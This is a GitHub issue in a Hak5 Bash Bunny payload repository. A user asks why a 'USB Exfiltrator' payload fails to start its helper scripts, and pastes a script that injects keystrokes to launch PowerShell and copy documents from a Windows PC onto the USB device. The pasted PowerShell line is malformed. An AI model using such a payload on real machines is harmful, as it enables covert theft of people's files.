hak5/bashbunny-payloads

d.cmd and e.cmd don't get started !HELP PLEASE!

mosesraona opened this issue · 0 comments

Hello everyone

I got the bash bunny a few days ago and I'm trying to get the File exfiltration to work.
I am testing it out on my PC but it doesent work.

if i start the d.cmd manually it gets started and it starts the e.cmd after which starts to copy the files.

If I put in the USB Stick on the Switch 1 it opens the PowerShell for 1 second which Displays an error message and then Nothing.

This is my payload:
#!/bin/bash

Title: USB Exfiltrator

Author: Hak5Darren

Version: 1.1

Target: Windows XP SP3+

Props: Diggster, IMcPwn

Category: Exfiltration

Executes d.cmd from the selected switch folder of the Bash Bunny USB Disk partition,

which in turn executes e.cmd invisibly using i.vbs

which in turn copies documents to the loot folder on the Bash Bunny.

GET SWITCH_POSITION
LED ATTACK
ATTACKMODE HID STORAGE
RUN WIN powershell "gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\$SWITCH_POSITION\d.cmd'"
start d.cmd
LED FINISH

This has to be the part that doesen't work because as I said the d.cmd and e.cmd works well.